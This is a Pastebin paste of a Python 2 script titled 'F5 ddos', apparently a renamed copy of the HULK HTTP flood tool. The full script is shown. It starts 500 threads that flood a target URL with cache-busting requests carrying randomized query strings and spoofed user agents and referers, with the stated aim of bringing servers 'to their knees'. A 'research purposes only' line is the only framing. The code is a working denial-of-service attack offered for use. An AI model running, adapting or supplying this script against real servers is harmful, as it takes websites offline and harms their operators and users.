Advertisement
johto1989

F5 DDoS

Nov 17th, 2016
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.74 KB | None | 0 0
  1.  
  2.  
  3. # ----------------------------------------------------------------------------------------------
  4. # F5 ddos - HTTP Unbearable Load King
  5. #
  6. # this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
  7. # to their knees by exhausting the resource pool, its is meant for research purposes only
  8. # and any malicious usage of this tool is prohibited.
  9. #
  10. # author : Kid1412 Blog's , version 1.0
  11. # ----------------------------------------------------------------------------------------------
  12. import urllib2
  13. import sys
  14. import threading
  15. import random
  16. import re
  17. #global params
  18. url=''
  19. host=''
  20. headers_useragents=[]
  21. headers_referers=[]
  22. request_counter=0
  23. flag=0
  24. safe=0
  25. def inc_counter():
  26. global request_counter
  27. request_counter+=1
  28. def set_flag(val):
  29. global flag
  30. flag=val
  31. def set_safe():
  32. global safe
  33. safe=1
  34.  
  35. # generates a user agent array
  36. def useragent_list():
  37. global headers_useragents
  38. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  39. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  40. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  41. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  42. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  43. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  44. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  45. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  46. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  47. headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  48. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  49. headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  50. return(headers_useragents)
  51. # generates a referer array
  52. def referer_list():
  53. global headers_referers
  54. headers_referers.append('http://www.google.com/?q=')
  55. headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..')
  56. headers_referers.append('http://vk.com/profile.php?redirect=')
  57. headers_referers.append('http://www.usatoday.com/search/results?q=')
  58. headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=..')
  59. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')
  60. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925')
  61. headers_referers.append('http://yandex.ru/yandsearch?text=')
  62. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832')
  63. headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=')
  64. headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..')
  65. headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..')
  66. headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..')
  67. headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..')
  68. headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..')
  69. headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..')
  70. headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&e..')
  71. headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  72. headers_referers.append('http://www.bing.com/search?q=')
  73. headers_referers.append('https://www.yandex.com/yandsearch?text=')
  74. headers_referers.append('https://duckduckgo.com/?q=')
  75. headers_referers.append('http://www.ask.com/web?q=')
  76. headers_referers.append('http://search.aol.com/aol/search?q=')
  77. headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=')
  78. headers_referers.append('https://www.facebook.com/search/results/?init=quick&q=')
  79. headers_referers.append('http://blekko.com/#ws/?q=')
  80. headers_referers.append('http://www.infomine.com/search/?q=')
  81. headers_referers.append('https://twitter.com/search?q=')
  82. headers_referers.append('http://www.wolframalpha.com/input/?i=')
  83. headers_referers.append('http://' + host + '/')
  84. return(headers_referers)
  85.  
  86. #builds random ascii string
  87. def buildblock(size):
  88. out_str = ''
  89. for i in range(0, size):
  90. a = random.randint(65, 90)
  91. out_str += chr(a)
  92. return(out_str)
  93. def usage():
  94. print '---------------------------------------------------'
  95. print 'USAGE: python f5ddos.py <url>'
  96. print 'you can add "safe" after url, to autoshut after dos'
  97. print '---------------------------------------------------'
  98.  
  99. #http request
  100. def httpcall(url):
  101. useragent_list()
  102. referer_list()
  103. code=0
  104. if url.count("?")>0:
  105. param_joiner="&"
  106. else:
  107. param_joiner="?"
  108. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  109. request.add_header('User-Agent', random.choice(headers_useragents))
  110. request.add_header('Cache-Control', 'no-cache')
  111. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  112. request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  113. request.add_header('Keep-Alive', random.randint(110,120))
  114. request.add_header('Connection', 'keep-alive')
  115. request.add_header('Host',host)
  116. try:
  117. urllib2.urlopen(request)
  118. except urllib2.HTTPError, e:
  119. #print e.code
  120. set_flag(1)
  121. print 'Response Code 500'
  122. code=500
  123. except urllib2.URLError, e:
  124. #print e.reason
  125. sys.exit()
  126. else:
  127. inc_counter()
  128. urllib2.urlopen(request)
  129. return(code)
  130.  
  131. #http caller thread
  132. class HTTPThread(threading.Thread):
  133. def run(self):
  134. try:
  135. while flag<2:
  136. code=httpcall(url)
  137. if (code==500) & (safe==1):
  138. set_flag(2)
  139. except Exception, ex:
  140. pass
  141. # monitors http threads and counts requests
  142. class MonitorThread(threading.Thread):
  143. def run(self):
  144. previous=request_counter
  145. while flag==0:
  146. if (previous+100<request_counter) & (previous<>request_counter):
  147. print "%d Requests Sent" % (request_counter)
  148. previous=request_counter
  149. if flag==2:
  150. print "\n-- HULK Attack Finished --"
  151. #execute
  152. if len(sys.argv) < 2:
  153. usage()
  154. sys.exit()
  155. else:
  156. if sys.argv[1]=="help":
  157. usage()
  158. sys.exit()
  159. else:
  160. print "-- Ddos F5 Attack Started --"
  161. if len(sys.argv)== 3:
  162. if sys.argv[2]=="safe":
  163. set_safe()
  164. url = sys.argv[1]
  165. if url.count("/")==2:
  166. url = url + "/"
  167. m = re.search('http\://([^/]*)/?.*', url)
  168. host = m.group(1)
  169. for i in range(500):
  170. t = HTTPThread()
  171. t.start()
  172. t = MonitorThread()
  173. t.start()
  174.  
  175. F5ddos.py
  176. Displaying F5ddos.py.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement